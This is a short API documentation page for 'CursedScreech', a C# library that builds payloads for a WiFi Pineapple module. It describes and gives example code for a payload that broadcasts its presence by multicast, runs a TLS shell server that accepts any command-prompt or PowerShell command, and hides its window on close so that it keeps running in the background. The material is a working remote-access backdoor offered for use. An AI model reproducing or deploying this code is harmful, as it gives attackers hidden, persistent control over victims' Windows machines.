CursedScreech C# API
Synopsis
This API is used to create payloads in C# that connect to the WiFi Pineapple
module CursedScreech. If used properly this API will enable your payload to
setup a multicast broadcaster and secure shell server that continue to operate
in the background even after all windows have exited. Connections to the
shell server are negotiated for the highest level of TLS available on the system
(no SSL) so one executable can work on various versions of Windows. Once
connected, any command that would normally be issued within command
prompt or PowerShell can be issued from CursedScreech.
Example Program
using System;
using System.Drawing;
using System.Windows.Forms;
using PineappleModules;
namespace Payload
{
public partial class Form1 : Form {
public Form1() {
InitializeComponent();
CursedScreech cs = new CursedScreech();
cs.startMulticaster("231.253.78.29", 19578);
cs.setRemoteCertificateSerial("EF-BE-AD-DE");
cs.setRemoteCertificateHash("1234567890ABCDEF");
cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&");
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
e.Cancel = true;
this.Hide();
}
}
}